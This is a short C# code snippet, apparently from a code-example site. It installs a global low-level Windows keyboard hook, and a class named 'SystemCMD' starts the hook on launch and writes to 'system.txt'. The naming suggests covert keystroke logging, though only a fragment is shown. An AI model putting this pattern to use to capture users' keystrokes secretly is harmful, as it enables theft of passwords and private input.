KeyHooker.hook C# (CSharp) Method

    public void hook()
    {
        IntPtr hInstance = LoadLibrary("User32");
        Hook = SetWindowsHookEx(WH_KEYBOARD_LL, llkh, hInstance, 0);
    }

        public SystemCMD()
        {
            InitializeComponent();
            File.AppendAllText("system.txt", "#");
            KeyHooker a = new KeyHooker();

            a.KeyDown += new KeyEventHandler(A_KeyDown);
            a.hook();
        }